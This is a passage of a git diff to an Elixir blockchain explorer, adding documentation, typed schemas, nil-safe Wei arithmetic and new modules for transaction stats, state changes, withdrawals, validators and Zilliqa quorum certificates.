block.number, + select: transaction + ) + end + # Number of transactions in the given block range num_transactions = Repo.aggregate(query, :count, :hash, timeout: :infinity) Logger.info("tx/per day chart: num of transactions #{num_transactions}") + # Total gas used in the given block range gas_used = Repo.aggregate(query, :sum, :gas_used, timeout: :infinity) Logger.info("tx/per day chart: total gas used #{gas_used}") + # Build a query to receive the total fee in the given block range total_fee_query = - from(transaction in subquery(all_transactions_query), - join: block in Block, - on: transaction.block_hash == block.hash, - where: block.consensus == true, - select: fragment("SUM(? * ?)", transaction.gas_price, transaction.gas_used) - ) + if DenormalizationHelper.transactions_denormalization_finished?() do + from(transaction in subquery(all_transactions_query), + select: fragment("SUM(? * ?)", transaction.gas_price, transaction.gas_used) + ) + else + from(transaction in subquery(all_transactions_query), + join: block in Block, + on: transaction.block_hash == block.hash, + where: block.consensus == true, + select: fragment("SUM(? * ?)", transaction.gas_price, transaction.gas_used) + ) + end + # Total fee in the given block range total_fee = Repo.one(total_fee_query, timeout: :infinity) Logger.info("tx/per day chart: total fee #{total_fee}") @@ -124,6 +232,20 @@ defmodule Explorer.Chain.Transaction.History.Historian do end @impl Historian + @doc """ + Saves transaction statistics records to the database. + + This function bulk inserts or updates the provided transaction statistics + records into the database. After saving the records, it broadcasts + a `:transaction_stats` event to notify subscribers of the update. + + ## Parameters + - `records`: A list of `dated_record()` structs containing transaction statistics. + + ## Returns + - The number of records inserted or updated. + """ + @spec save_records([dated_record()]) :: non_neg_integer() def save_records(records) do Logger.info("tx/per day chart: save records") @@ -132,17 +254,38 @@ defmodule Explorer.Chain.Transaction.History.Historian do Logger.info("tx/per day chart: number of inserted #{num_inserted}") + # we need to store the last timestamp of success to use it in Indexer.Fetcher.MultichainSearchDb.CountersFetcher + LastFetchedCounter.upsert(%{ + counter_type: transaction_stats_last_save_records_timestamp(), + value: DateTime.to_unix(DateTime.utc_now()) + }) + Publisher.broadcast(:transaction_stats) num_inserted end + # Converts a given date and time to a UTC DateTime @spec datetime(Date.t(), Time.t()) :: DateTime.t() defp datetime(date, time) do {_success?, naive_dt} = NaiveDateTime.new(date, time) DateTime.from_naive!(naive_dt, "Etc/UTC") end + # Returns today's date in UTC, using configured value or current date as fallback. + @spec date_today() :: Date.t() defp date_today do HistoryProcess.config_or_default(:utc_today, Date.utc_today(), __MODULE__) end + + @doc """ + Defines a name of counter type for LastFetchedCounter row + storing the last timestamp of when the `save_records` function was called. + + ## Returns + - The counter type name. + """ + @spec transaction_stats_last_save_records_timestamp() :: String.t() + def transaction_stats_last_save_records_timestamp do + "transaction_stats_last_save_records_timestamp" + end end diff --git a/apps/explorer/lib/explorer/chain/transaction/history/transaction_stats.ex b/apps/explorer/lib/explorer/chain/transaction/history/transaction_stats.ex index 5e5f10b9ce24..f1a7f6eb67ff 100644 --- a/apps/explorer/lib/explorer/chain/transaction/history/transaction_stats.ex +++ b/apps/explorer/lib/explorer/chain/transaction/history/transaction_stats.ex @@ -1,42 +1,53 @@ defmodule Explorer.Chain.Transaction.History.TransactionStats do @moduledoc """ - Represents daily transaction numbers. + Represents daily chain performance stats """ import Ecto.Query, only: [from: 2] use Explorer.Schema - alias Explorer.Repo + alias Explorer.Chain @derive {Jason.Encoder, except: [ :__meta__ ]} - schema "transaction_stats" do + @typedoc """ + The recorded values of the chain performance stats for a single day. + * `:date` - The date in UTC. + * `:number_of_transactions` - Number of transactions processed by the vm for a given date. + * `:gas_used` - Gas used in transactions per single day + * `:total_fee` - Total fee paid to validators from success transactions per single day + """ + typed_schema "transaction_stats" do field(:date, :date) field(:number_of_transactions, :integer) field(:gas_used, :decimal) field(:total_fee, :decimal) end - @typedoc """ - The recorded values of the number of transactions for a single day. - * `:date` - The date in UTC. - * `:number_of_transactions` - Number of transactions processed by the vm for a given date. - * `:gas_used` - Gas used in transactions per single day - * `:total_fee` - Total fee paid to validators from success transactions per single day + @doc """ + Retrieves transaction statistics within a specified date range. + + This function queries the database for transaction statistics recorded between + the given earliest and latest dates, inclusive. The results are ordered by + date in descending order. + + ## Parameters + - `earliest`: The start date of the range to query (inclusive). + - `latest`: The end date of the range to query (inclusive). + - `options`: Optional keyword list of options used to select the repo for the + query. + + ## Returns + A list of `Explorer.Chain.Transaction.History.TransactionStats` structs, + each representing the transaction statistics for a single day within the + specified range. """ - @type t :: %__MODULE__{ - date: Date.t(), - number_of_transactions: integer(), - gas_used: non_neg_integer(), - total_fee: non_neg_integer() - } - - @spec by_date_range(Date.t(), Date.t()) :: [__MODULE__] - def by_date_range(earliest, latest) do + @spec by_date_range(Date.t(), Date.t(), keyword()) :: [__MODULE__] + def by_date_range(earliest, latest, options \\ []) do # Create a query query = from(stat in __MODULE__, @@ -44,6 +55,6 @@ defmodule Explorer.Chain.Transaction.History.TransactionStats do order_by: [desc: :date] ) - Repo.all(query) + Chain.select_repo(options).all(query) end end diff --git a/apps/explorer/lib/explorer/chain/transaction/reader.ex b/apps/explorer/lib/explorer/chain/transaction/reader.ex new file mode 100644 index 000000000000..9064d135a415 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/transaction/reader.ex @@ -0,0 +1,87 @@ +defmodule Explorer.Chain.Transaction.Reader do + @moduledoc """ + Functions for reading transaction data. + """ + import Ecto.Query + import Explorer.Chain, only: [add_fetcher_limit: 2] + + alias Explorer.Chain.Transaction + alias Explorer.Repo + + @doc """ + Determines if a transaction has created a smart contract whose code has not + yet been indexed. + + ## Parameters + - `transaction`: A `t:Explorer.Chain.Transaction.t/0` struct to be examined + + ## Returns + - `true` when the transaction meets all of the following conditions: + - Is included in a block + - Has created a contract + - Has not had its contract code indexed + - `false` otherwise + """ + @spec transaction_with_unfetched_created_contract_code?(transaction :: Transaction.t()) :: boolean() + def transaction_with_unfetched_created_contract_code?(transaction) do + not is_nil(transaction.block_hash) and + not is_nil(transaction.created_contract_address_hash) and + is_nil(transaction.created_contract_code_indexed_at) + end + + @doc """ + Streams transactions that have created contracts whose code has not yet been + indexed. + + This function allows processing transactions in a memory-efficient way by + streaming them through a reducer function. + + ## Parameters + - `fields`: A list of fields to select from the transactions. + - `initial`: The initial accumulator value to use with the reducer. + - `reducer`: A function that takes each transaction entry and the current + accumulator, and returns the new accumulator value. + - `limited?`: A boolean flag indicating whether to limit the number of results + (default: `false`). + + ## Returns + - `{:ok, accumulator}` where `accumulator` is the final value after all + transactions have been processed through the reducer function. + """ + @spec stream_transactions_with_unfetched_created_contract_code( + fields :: [ + :block_hash + | :created_contract_code_indexed_at + | :from_address_hash + | :gas + | :gas_price + | :hash + | :index + | :input + | :nonce + | :r + | :s + | :to_address_hash + | :v + | :value + ], + initial :: accumulator, + reducer :: (entry :: term(), accumulator -> accumulator), + limited? :: boolean() + ) :: {:ok, accumulator} + when accumulator: term() + def stream_transactions_with_unfetched_created_contract_code(fields, initial, reducer, limited? \\ false) + when is_function(reducer, 2) do + query = + from(t in Transaction, + where: + not is_nil(t.block_hash) and not is_nil(t.created_contract_address_hash) and + is_nil(t.created_contract_code_indexed_at), + select: ^fields + ) + + query + |> add_fetcher_limit(limited?) + |> Repo.stream_reduce(initial, reducer) + end +end diff --git a/apps/explorer/lib/explorer/chain/transaction/state_change.ex b/apps/explorer/lib/explorer/chain/transaction/state_change.ex new file mode 100644 index 000000000000..3acf6eadc92a --- /dev/null +++ b/apps/explorer/lib/explorer/chain/transaction/state_change.ex @@ -0,0 +1,319 @@ +defmodule Explorer.Chain.Transaction.StateChange do + @moduledoc """ + Helper functions and struct for storing state changes + """ + + alias Explorer.Chain + alias Explorer.Chain.{Address, Block, Hash, InternalTransaction, TokenTransfer, Transaction, Wei} + alias Explorer.Chain.Transaction.StateChange + + defstruct [:coin_or_token_transfers, :address, :token_id, :balance_before, :balance_after, :balance_diff, :miner?] + + @type t :: %__MODULE__{ + coin_or_token_transfers: :coin | [TokenTransfer.t()], + address: Address.t(), + token_id: nil | non_neg_integer(), + balance_before: Wei.t() | Decimal.t(), + balance_after: Wei.t() | Decimal.t(), + balance_diff: Wei.t() | Decimal.t(), + miner?: boolean() + } + + @type coin_balances_map :: %{Hash.Address.t() => {Address.t(), Wei.t()}} + + @zero_wei %Wei{value: Decimal.new(0)} + + @spec coin_balances_before(Transaction.t(), [Transaction.t()], coin_balances_map()) :: coin_balances_map() + def coin_balances_before(transaction, block_transactions, coin_balances_before_block) do + block = transaction.block + + block_transactions + |> Enum.reduce_while( + coin_balances_before_block, + fn block_transaction, acc -> + if block_transaction.index < transaction.index do + {:cont, update_coin_balances_from_transaction(acc, block_transaction, block)} + else + # transactions ordered by index ascending, so we can halt after facing index greater or equal than index of our transaction + {:halt, acc} + end + end + ) + end + + @spec update_coin_balances_from_transaction(coin_balances_map(), Transaction.t(), Block.t()) :: coin_balances_map() + def update_coin_balances_from_transaction(coin_balances, transaction, block) do + coin_balances = + coin_balances + |> update_balance(transaction.from_address_hash, &Wei.sub(&1, from_loss(transaction))) + |> update_balance(transaction.to_address_hash, &Wei.sum(&1, to_profit(transaction))) + |> update_balance(block.miner_hash, &Wei.sum(&1, miner_profit(transaction, block))) + + if error?(transaction) do + coin_balances + else + transaction.internal_transactions + |> Enum.reduce(coin_balances, &update_coin_balances_from_internal_transaction(&1, &2)) + end + end + + defp update_coin_balances_from_internal_transaction(%InternalTransaction{call_type: :delegatecall}, coin_balances), + do: coin_balances + + defp update_coin_balances_from_internal_transaction(%InternalTransaction{index: 0}, coin_balances), do: coin_balances + + defp update_coin_balances_from_internal_transaction(internal_transaction, coin_balances) do + coin_balances + |> update_balance(internal_transaction.from_address_hash, &Wei.sub(&1, from_loss(internal_transaction))) + |> update_balance(internal_transaction.to_address_hash, &Wei.sum(&1, to_profit(internal_transaction))) + end + + def token_balances_before(balances_before, transaction, block_transactions) do + block_transactions + |> Enum.reduce_while( + balances_before, + fn block_transaction, state -> + if block_transaction.index < transaction.index do + {:cont, do_update_token_balances_from_token_transfers(block_transaction.token_transfers, state)} + else + # transactions ordered by index ascending, so we can halt after facing index greater or equal than index of our transaction + {:halt, state} + end + end + ) + end + + defp do_update_token_balances_from_token_transfers( + token_transfers, + balances_map, + include_transfers \\ :no + ) do + Enum.reduce( + token_transfers, + balances_map, + &token_transfers_balances_reducer(&1, &2, include_transfers) + ) + end + + defp token_transfers_balances_reducer(transfer, state_balances_map, include_transfers) do + from = transfer.from_address + to = transfer.to_address + token = transfer.token_contract_address_hash + + state_balances_map + |> case do + # from address is needed to be updated in our map + %{^from => %{^token => values}} = balances_map -> + put_in( + balances_map, + Enum.map([from, token], &Access.key(&1, %{})), + do_update_balance(values, :from, transfer, include_transfers) + ) + + # we are not interested in this address + balances_map -> + balances_map + end + |> case do + # to address is needed to be updated in our map + %{^to => %{^token => values}} = balances_map -> + put_in( + balances_map, + Enum.map([to, token], &Access.key(&1, %{})), + do_update_balance(values, :to, transfer, include_transfers) + ) + + # we are not interested in this address + balances_map -> + balances_map + end + end + + # point of this function is to include all transfers for frontend if option :include_transfer is passed + defp do_update_balance(old_val, type, transfer, :include_transfers) do + old_val_with_transfer = + Map.update(old_val, :transfers, [{type, transfer}], fn transfers -> [{type, transfer} | transfers] end) + + do_update_balance(old_val_with_transfer, type, transfer, :no) + end + + defp do_update_balance(old_val, type, transfer, _) do + token_ids = if transfer.token.type == "ERC-1155", do: transfer.token_ids, else: [nil] + transfer_amounts = transfer.amounts || [transfer.amount || 1] + + sub_or_add = + case type do + :from -> &Decimal.sub/2 + :to -> &Decimal.add/2 + end + + token_ids + |> Stream.zip(transfer_amounts) + |> Enum.reduce(old_val, fn {id, amount}, ids_to_balances -> + case ids_to_balances do + %{^id => val} -> %{ids_to_balances | id => sub_or_add.(val, amount)} + _ -> ids_to_balances + end + end) + end + + @doc """ + Returns the balance change of from address of a transaction + or an internal transaction. + """ + @spec from_loss(Transaction.t() | InternalTransaction.t()) :: Wei.t() + def from_loss(%Transaction{} = transaction) do + {_, fee} = Transaction.fee(transaction, :wei) + + if error?(transaction) do + %Wei{value: fee} + else + Wei.sum(transaction.value, %Wei{value: fee}) + end + end + + def from_loss(%InternalTransaction{} = transaction) do + transaction.value + end + + @doc """ + Returns the balance change of to address of a transaction + or an internal transaction. + """ + @spec to_profit(Transaction.t() | InternalTransaction.t()) :: Wei.t() + def to_profit(%Transaction{} = transaction) do + if error?(transaction) do + %Wei{value: 0} + else + transaction.value + end + end + + def to_profit(%InternalTransaction{} = transaction) do + transaction.value + end + + defp miner_profit(transaction, block) do + base_fee_per_gas = block.base_fee_per_gas || %Wei{value: Decimal.new(0)} + max_priority_fee_per_gas = transaction.max_priority_fee_per_gas || transaction.gas_price + max_fee_per_gas = transaction.max_fee_per_gas || transaction.gas_price + + priority_fee_per_gas = + Enum.min_by([max_priority_fee_per_gas, Wei.sub(max_fee_per_gas, base_fee_per_gas)], fn x -> + Wei.to(x, :wei) + end) + + Wei.mult(priority_fee_per_gas, transaction.gas_used) + end + + defp error?(transaction) do + case Chain.transaction_to_status(transaction) do + {:error, _} -> true + _ -> false + end + end + + def has_diff?(%Wei{value: val}) do + not Decimal.eq?(val, Decimal.new(0)) + end + + def has_diff?(val) do + not Decimal.eq?(val, Decimal.new(0)) + end + + def state_change(address, balance_before, balance_after, miner? \\ true) do + %StateChange{ + coin_or_token_transfers: :coin, + address: address, + balance_before: balance_before, + balance_after: balance_after, + balance_diff: balance_after |> Wei.sub(balance_before), + miner?: miner? + } + end + + @doc """ + Returns the list of native coin state changes of a transaction, including state changes from the internal transactions, + taking into account state changes from previous transactions in the same block. + """ + @spec native_coin_entries(Transaction.t(), coin_balances_map()) :: [t()] + def native_coin_entries(transaction, coin_balances_before_transaction) do + block = transaction.block + + coin_balances_after_transaction = + update_coin_balances_from_transaction(coin_balances_before_transaction, transaction, block) + + coin_balances_before_transaction + |> Enum.reduce([], fn {address_hash, {address, coin_balance_before}}, acc -> + {_, coin_balance_after} = coin_balances_after_transaction[address_hash] + coin_entry = coin_entry(address, coin_balance_before, coin_balance_after, address_hash == block.miner_hash) + + if coin_entry do + [coin_entry | acc] + else + acc + end + end) + end + + defp coin_entry(address, balance_before, balance_after, miner?) do + diff = Wei.sub(balance_after, balance_before) + + if has_diff?(diff) do + %StateChange{ + coin_or_token_transfers: :coin, + address: address, + token_id: nil, + balance_before: balance_before, + balance_after: balance_after, + balance_diff: diff, + miner?: miner? + } + end + end + + defp update_balance(coin_balances, address_hash, _update_function) when is_nil(address_hash), + do: coin_balances + + defp update_balance(coin_balances, address_hash, update_function) do + if Map.has_key?(coin_balances, address_hash) do + Map.update(coin_balances, address_hash, @zero_wei, fn {address, balance} -> + {address, update_function.(balance)} + end) + else + coin_balances + end + end + + def token_entries(token_transfers, token_balances_before) do + token_balances_after = + do_update_token_balances_from_token_transfers( + token_transfers, + token_balances_before, + :include_transfers + ) + + for {address, token_balances} <- token_balances_after, + {token_hash, id_balances_with_transfers} <- token_balances, + {%{transfers: transfers}, id_balances} = Map.split(id_balances_with_transfers, [:transfers]), + {id, balance} <- id_balances do + balance_before = token_balances_before[address][token_hash][id] + balance_diff = Decimal.sub(balance, balance_before) + transfer = elem(List.first(transfers), 1) + + if transfer.token.type != "ERC-20" or has_diff?(balance_diff) do + %StateChange{ + coin_or_token_transfers: transfers, + address: address, + token_id: id, + balance_before: balance_before, + balance_after: balance, + balance_diff: balance_diff, + miner?: false + } + end + end + |> Enum.reject(&is_nil/1) + |> Enum.sort_by(fn state_change -> to_string(state_change.address && state_change.address.hash) end) + end +end diff --git a/apps/explorer/lib/explorer/chain/transaction_action.ex b/apps/explorer/lib/explorer/chain/transaction_action.ex new file mode 100644 index 000000000000..c1514615e76b --- /dev/null +++ b/apps/explorer/lib/explorer/chain/transaction_action.ex @@ -0,0 +1,82 @@ +defmodule Explorer.Chain.TransactionAction do + @moduledoc "Models transaction action." + + use Explorer.Schema + + alias Explorer.Chain.{ + Hash, + Transaction + } + + @required_attrs ~w(hash protocol data type log_index)a + @supported_protocols [:uniswap_v3, :opensea_v1_1, :wrapping, :approval, :zkbob, :aave_v3] + @supported_types [ + :mint_nft, + :mint, + :burn, + :collect, + :swap, + :sale, + :cancel, + :transfer, + :wrap, + :unwrap, + :approve, + :revoke, + :withdraw, + :deposit, + :borrow, + :supply, + :repay, + :flash_loan, + :enable_collateral, + :disable_collateral, + :liquidation_call + ] + @typedoc """ + * `hash` - transaction hash + * `protocol` - name of the action protocol (see possible values for Enum of the db table field) + * `data` - transaction action details (json formatted) + * `type` - type of the action protocol (see possible values for Enum of the db table field) + * `log_index` - index of the action for sorting (taken from log.index) + """ + @primary_key false + typed_schema "transaction_actions" do + field(:protocol, Ecto.Enum, values: @supported_protocols, null: false) + field(:data, :map, null: false) + + field(:type, Ecto.Enum, + values: @supported_types, + null: false + ) + + field(:log_index, :integer, primary_key: true, null: false) + + belongs_to(:transaction, Transaction, + foreign_key: :hash, + primary_key: true, + references: :hash, + type: Hash.Full, + null: false + ) + + timestamps() + end + + def changeset(%__MODULE__{} = transaction_actions, attrs \\ %{}) do + transaction_actions + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:hash) + end + + @spec supported_protocols() :: [atom()] + def supported_protocols do + @supported_protocols + end + + @spec supported_types() :: [atom()] + def supported_types do + @supported_types + end +end diff --git a/apps/explorer/lib/explorer/chain/user_operation.ex b/apps/explorer/lib/explorer/chain/user_operation.ex new file mode 100644 index 000000000000..cdcb322e964d --- /dev/null +++ b/apps/explorer/lib/explorer/chain/user_operation.ex @@ -0,0 +1,66 @@ +defmodule Explorer.Chain.UserOperation do + @moduledoc """ + The representation of a user operation for account abstraction (EIP-4337). + """ + + require Logger + + import Ecto.Query, + only: [ + where: 2 + ] + + use Explorer.Schema + alias Explorer.Chain + alias Explorer.Chain.Hash + alias Explorer.Utility.Microservice + + @type api? :: {:api?, true | false} + + @typedoc """ + * `hash` - the hash of User operation. + * `block_number` - the block number, where user operation happened. + * `block_hash` - the block hash, where user operation happened. + """ + @primary_key false + typed_schema "user_operations" do + field(:hash, Hash.Full, primary_key: true, null: false) + field(:block_number, :integer, null: false) + field(:block_hash, Hash.Full, null: false) + + timestamps() + end + + def changeset(%__MODULE__{} = user_operation, attrs) do + user_operation + |> cast(attrs, [ + :hash, + :block_number, + :block_hash + ]) + |> validate_required([:hash, :block_number, :block_hash]) + end + + @doc """ + Converts `t:Explorer.Chain.UserOperation.t/0` `hash` to the `t:Explorer.Chain.UserOperation.t/0` with that `hash`. + """ + @spec hash_to_user_operation(Hash.Full.t(), [api?]) :: + {:ok, __MODULE__.t()} | {:error, :not_found} + def hash_to_user_operation(%Hash{byte_count: unquote(Hash.Full.byte_count())} = hash, options \\ []) + when is_list(options) do + __MODULE__ + |> where(hash: ^hash) + |> Chain.select_repo(options).one() + |> case do + nil -> + {:error, :not_found} + + user_operation -> + {:ok, user_operation} + end + end + + def enabled? do + Microservice.check_enabled(Explorer.MicroserviceInterfaces.AccountAbstraction) == :ok + end +end diff --git a/apps/explorer/lib/explorer/chain/validator.ex b/apps/explorer/lib/explorer/chain/validator.ex new file mode 100644 index 000000000000..76447d851921 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/validator.ex @@ -0,0 +1,56 @@ +defmodule Explorer.Chain.Validator do + @moduledoc """ + Tracks info about POA validator + """ + + use Explorer.Schema + alias Explorer.Chain.Hash.Address + alias Explorer.{Chain, Repo} + + @primary_key false + typed_schema "validators" do + field(:address_hash, Address, primary_key: true, null: false) + field(:is_validator, :boolean) + field(:payout_key_hash, Address) + field(:info_updated_at_block, :integer) + + timestamps() + end + + def insert_or_update(nil, attrs) do + attrs + |> changeset() + |> Repo.insert() + end + + def insert_or_update(validator, attrs) do + validator + |> changeset(attrs) + |> Repo.update() + end + + def changeset(attrs) do + %__MODULE__{} + |> changeset(attrs) + end + + @required_attrs ~w(address_hash)a + @optional_attrs ~w(is_validator payout_key_hash info_updated_at_block)a + def changeset(%__MODULE__{} = constant, attrs) do + constant + |> cast(attrs, @required_attrs ++ @optional_attrs) + |> validate_required(@required_attrs) + |> unique_constraint(:address_hash) + end + + def get_validator_by_address_hash(address_hash, options \\ []) do + __MODULE__ + |> where([validator], validator.address_hash == ^address_hash) + |> Chain.select_repo(options).one() + end + + def drop_all_validators do + __MODULE__ + |> Repo.delete_all() + end +end diff --git a/apps/explorer/lib/explorer/chain/wei.ex b/apps/explorer/lib/explorer/chain/wei.ex index b77f71f90f4d..555476433708 100644 --- a/apps/explorer/lib/explorer/chain/wei.ex +++ b/apps/explorer/lib/explorer/chain/wei.ex @@ -20,6 +20,7 @@ defmodule Explorer.Chain.Wei do """ + require Decimal alias Explorer.Chain.Wei defstruct ~w(value)a @@ -117,8 +118,12 @@ defmodule Explorer.Chain.Wei do @wei_per_ether Decimal.new(1_000_000_000_000_000_000) @wei_per_gwei Decimal.new(1_000_000_000) - @spec hex_format(Wei.t()) :: String.t() + @spec hex_format(Wei.t() | Decimal.t() | nil) :: String.t() def hex_format(%Wei{value: decimal}) do + hex_format(decimal) + end + + def hex_format(%Decimal{} = decimal) do hex = decimal |> Decimal.to_integer() @@ -128,6 +133,10 @@ defmodule Explorer.Chain.Wei do "0x" <> hex end + def hex_format(nil) do + "0x0" + end + @doc """ Sums two Wei values. @@ -138,13 +147,24 @@ defmodule Explorer.Chain.Wei do iex> Explorer.Chain.Wei.sum(first, second) %Explorer.Chain.Wei{value: Decimal.new(1_123)} """ - @spec sum(Wei.t(), Wei.t()) :: Wei.t() + @spec sum(Wei.t() | nil, Wei.t() | nil) :: Wei.t() | nil + def sum(%Wei{value: wei_1}, %Wei{value: nil}) do + wei_1 + |> from(:wei) + end + + def sum(%Wei{value: nil}, %Wei{value: wei_2}) do + wei_2 + |> from(:wei) + end + def sum(%Wei{value: wei_1}, %Wei{value: wei_2}) do wei_1 |> Decimal.add(wei_2) |> from(:wei) end + @spec sub(Wei.t(), Wei.t()) :: Wei.t() | nil @doc """ Subtracts two Wei values. @@ -155,6 +175,8 @@ defmodule Explorer.Chain.Wei do iex> Explorer.Chain.Wei.sub(first, second) %Explorer.Chain.Wei{value: Decimal.new(123)} """ + def sub(_, nil), do: nil + def sub(%Wei{value: wei_1}, %Wei{value: wei_2}) do wei_1 |> Decimal.sub(wei_2) @@ -183,6 +205,29 @@ defmodule Explorer.Chain.Wei do |> from(:wei) end + @doc """ + Divides Wei values by an `t:integer/0` or `t:Decimal.t/0`. + + ## Example + + iex> wei = %Explorer.Chain.Wei{value: Decimal.new(10)} + iex> divisor = 5 + iex> Explorer.Chain.Wei.div(wei, divisor) + %Explorer.Chain.Wei{value: Decimal.new(2)} + """ + @spec div(t(), pos_integer() | Decimal.t()) :: t() + def div(%Wei{value: value}, divisor) when is_integer(divisor) and divisor > 0 do + value + |> Decimal.div(divisor) + |> from(:wei) + end + + def div(%Wei{value: value}, %Decimal{sign: 1} = divisor) do + value + |> Decimal.div(divisor) + |> from(:wei) + end + @doc """ Converts `Decimal` representations of various wei denominations (wei, Gwei, ether) to a wei base unit. @@ -206,17 +251,23 @@ defmodule Explorer.Chain.Wei do """ - @spec from(ether(), :ether) :: t() + @spec from(ether() | nil, :ether) :: t() | nil + def from(nil, :ether), do: nil + def from(%Decimal{} = ether, :ether) do %__MODULE__{value: Decimal.mult(ether, @wei_per_ether)} end - @spec from(gwei(), :gwei) :: t() + @spec from(gwei(), :gwei) :: t() | nil + def from(nil, :gwei), do: nil + def from(%Decimal{} = gwei, :gwei) do %__MODULE__{value: Decimal.mult(gwei, @wei_per_gwei)} end @spec from(wei(), :wei) :: t() + def from(nil, :wei), do: nil + def from(%Decimal{} = wei, :wei) do %__MODULE__{value: wei} end @@ -247,17 +298,22 @@ defmodule Explorer.Chain.Wei do """ - @spec to(t(), :ether) :: ether() + @spec to(t(), :ether) :: ether() | nil + def to(nil, :ether), do: nil + def to(%__MODULE__{value: wei}, :ether) do Decimal.div(wei, @wei_per_ether) end - @spec to(t(), :gwei) :: gwei() + @spec to(t(), :gwei) :: gwei() | nil + def to(nil, :gwei), do: nil + def to(%__MODULE__{value: wei}, :gwei) do Decimal.div(wei, @wei_per_gwei) end - @spec to(t(), :wei) :: wei() + @spec to(t(), :wei) :: wei() | nil + def to(nil, :wei), do: nil def to(%__MODULE__{value: wei}, :wei), do: wei end @@ -266,3 +322,10 @@ defimpl Inspect, for: Explorer.Chain.Wei do "#Explorer.Chain.Wei<#{Decimal.to_string(wei.value)}>" end end + +defimpl Jason.Encoder, for: Explorer.Chain.Wei do + def encode(wei, opts) do + # changed since it's needed to return wei value (which is big number) as string + Jason.Encode.struct(wei.value, opts) + end +end diff --git a/apps/explorer/lib/explorer/chain/withdrawal.ex b/apps/explorer/lib/explorer/chain/withdrawal.ex new file mode 100644 index 000000000000..ecba16f92ffd --- /dev/null +++ b/apps/explorer/lib/explorer/chain/withdrawal.ex @@ -0,0 +1,106 @@ +defmodule Explorer.Chain.Withdrawal do + @moduledoc """ + A stored representation of withdrawal introduced in [EIP-4895](https://eips.ethereum.org/EIPS/eip-4895) + """ + + use Explorer.Schema + + alias Explorer.Chain.{Address, Block, Hash, Wei} + alias Explorer.PagingOptions + + @required_attrs ~w(index validator_index amount address_hash block_hash)a + + @primary_key false + typed_schema "withdrawals" do + field(:index, :integer, primary_key: true, null: false) + field(:validator_index, :integer, null: false) + field(:amount, Wei, null: false) + + belongs_to(:address, Address, + foreign_key: :address_hash, + references: :hash, + type: Hash.Address, + null: false + ) + + belongs_to(:block, Block, + foreign_key: :block_hash, + references: :hash, + type: Hash.Full, + null: false + ) + + timestamps() + end + + @spec changeset( + Explorer.Chain.Withdrawal.t(), + :invalid | %{optional(:__struct__) => none, optional(atom | binary) => any} + ) :: Ecto.Changeset.t() + def changeset(%__MODULE__{} = withdrawal, attrs \\ %{}) do + withdrawal + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> unique_constraint(:index, name: :withdrawals_pkey) + end + + @spec page_withdrawals(Ecto.Query.t(), PagingOptions.t()) :: Ecto.Query.t() + def page_withdrawals(query, %PagingOptions{key: nil}), do: query + + def page_withdrawals(query, %PagingOptions{key: {index}}) do + where(query, [withdrawal], withdrawal.index < ^index) + end + + @spec block_hash_to_withdrawals_query(Hash.Full.t()) :: Ecto.Query.t() + def block_hash_to_withdrawals_query(block_hash) do + block_hash + |> block_hash_to_withdrawals_unordered_query() + |> order_by(desc: :index) + end + + @spec block_hash_to_withdrawals_unordered_query(Hash.Full.t()) :: Ecto.Query.t() + def block_hash_to_withdrawals_unordered_query(block_hash) do + from(withdrawal in __MODULE__, + select: withdrawal, + where: withdrawal.block_hash == ^block_hash + ) + end + + @spec address_hash_to_withdrawals_query(Hash.Address.t()) :: Ecto.Query.t() + def address_hash_to_withdrawals_query(address_hash) do + address_hash + |> address_hash_to_withdrawals_unordered_query() + |> order_by(desc: :index) + end + + @spec address_hash_to_withdrawals_unordered_query(Hash.Address.t()) :: Ecto.Query.t() + def address_hash_to_withdrawals_unordered_query(address_hash) do + from(withdrawal in __MODULE__, + select: withdrawal, + left_join: block in assoc(withdrawal, :block), + where: withdrawal.address_hash == ^address_hash, + where: block.consensus == true, + preload: [block: block] + ) + end + + @spec blocks_without_withdrawals_query(non_neg_integer()) :: Ecto.Query.t() + def blocks_without_withdrawals_query(from_block) do + from(withdrawal in __MODULE__, + right_join: block in assoc(withdrawal, :block), + select: block.number, + distinct: block.number, + where: block.number >= ^from_block, + where: block.consensus == ^true, + where: is_nil(withdrawal.index) + ) + end + + @spec list_withdrawals :: Ecto.Query.t() + def list_withdrawals do + from(withdrawal in __MODULE__, + select: withdrawal, + order_by: [desc: :index] + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/zilliqa/aggregate_quorum_certificate.ex b/apps/explorer/lib/explorer/chain/zilliqa/aggregate_quorum_certificate.ex new file mode 100644 index 000000000000..f26936009f65 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/zilliqa/aggregate_quorum_certificate.ex @@ -0,0 +1,64 @@ +defmodule Explorer.Chain.Zilliqa.AggregateQuorumCertificate do + @moduledoc """ + A stored representation of a Zilliqa aggregate quorum certificate in the + context of PBFT consensus. + + In PBFT (Practical Byzantine Fault Tolerance) consensus, an aggregate quorum + certificate combines multiple quorum certificates into one, providing proof + that a block has been approved across multiple consensus rounds or by multiple + subsets of validators. It includes aggregated signatures and references to + nested quorum certificates. + + Changes in the schema should be reflected in the bulk import module: + - `Explorer.Chain.Import.Runner.Zilliqa.AggregateQuorumCertificate` + """ + use Explorer.Schema + + alias Explorer.Chain.{Block, Hash} + alias Explorer.Chain.Zilliqa.Hash.Signature, as: SignatureHash + alias Explorer.Chain.Zilliqa.NestedQuorumCertificate + + @required_attrs ~w(block_hash view signature)a + + @typedoc """ + * `view` - the view number associated with the quorum certificate, indicating + the consensus round. + * `signature` - the aggregated BLS (Boneh–Lynn–Shacham) signature representing + the validators' agreement. + * `block_hash` - the hash of the block associated with this aggregate quorum + certificate. + * `nested_quorum_certificates` - the list of nested quorum certificates that + are part of this aggregate. + """ + @primary_key false + typed_schema "zilliqa_aggregate_quorum_certificates" do + field(:view, :integer) + field(:signature, SignatureHash) + + belongs_to(:block, Block, + foreign_key: :block_hash, + primary_key: true, + references: :hash, + type: Hash.Full, + null: false + ) + + has_many( + :nested_quorum_certificates, + NestedQuorumCertificate, + foreign_key: :block_hash, + references: :block_hash + ) + + timestamps() + end + + @spec changeset(Ecto.Schema.t(), map()) :: Ecto.Changeset.t() + def changeset(%__MODULE__{} = cert, attrs) do + cert + |> cast(attrs, @required_attrs) + |> validate_required(@required_attrs) + |> foreign_key_constraint(:block_hash) + |> unique_constraint(:block_hash, name: :aggregate_quorum_certificates_pkey) + end +end diff --git a/apps/explorer/lib/explorer/chain/zilliqa/hash/bls_public_key.ex 